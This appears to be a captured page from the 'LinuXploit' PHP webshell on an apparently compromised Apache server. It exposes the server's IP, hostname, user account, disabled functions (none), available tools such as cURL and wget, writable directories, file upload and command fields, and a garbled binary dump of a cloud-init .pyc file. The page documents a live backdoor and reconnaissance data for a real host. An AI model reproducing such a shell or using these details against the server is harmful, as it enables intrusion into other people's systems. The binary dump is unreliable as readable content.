403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.9/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/cloudinit/config/__pycache__/cc_update_hostname.cpython-39.pyc
a

'�Dg��@s�UdZddlZddlZddlmZddlmZddlmZddl	m
Z
ddlmZdd	gegd
�Z
e
ed<e�e�Zeeeedd�d
d�ZdS)z)Update Hostname: Update hostname and fqdn�N)�util)�Cloud)�Config)�
MetaSchema)�
PER_ALWAYSZcc_update_hostname�all)�idZdistrosZ	frequencyZactivate_by_schema_keys�meta)�name�cfg�cloud�args�returnc
	Cs�t�|dd�rt�d|�dSt�|dd�}|durB|j�d|�t�|dd�}|durf|j�d|�t�||�\}}}|r�|dkr�t�d�dSz6tj�	|�
d�d	�}	t�d
||�|j�|||	�Wn$ty�t�
td||��Yn0dS)NZpreserve_hostnameFzWConfiguration option 'preserve_hostname' is set, not updating the hostname in module %sZprefer_fqdn_over_hostname�create_hostname_fileZ	localhostz6Hostname is localhost. Let other services handle this.�datazprevious-hostnamezUpdating hostname to %s (%s)z(Failed to update the hostname to %s (%s))rZget_cfg_option_bool�LOG�debugZdistroZ
set_optionZget_hostname_fqdn�os�path�joinZ	get_cpathZupdate_hostname�	ExceptionZlogexc)
r
rrr
Z
hostname_fqdnr�hostnameZfqdnZ
is_defaultZprev_fn�r�G/usr/lib/python3.9/site-packages/cloudinit/config/cc_update_hostname.py�handles:���
�r)�__doc__ZloggingrZ	cloudinitrZcloudinit.cloudrZcloudinit.configrZcloudinit.config.schemarZcloudinit.settingsrr	�__annotations__Z	getLogger�__name__r�str�listrrrrr�<module>	s�


Youez - 2016 - github.com/yon3zu
LinuXploit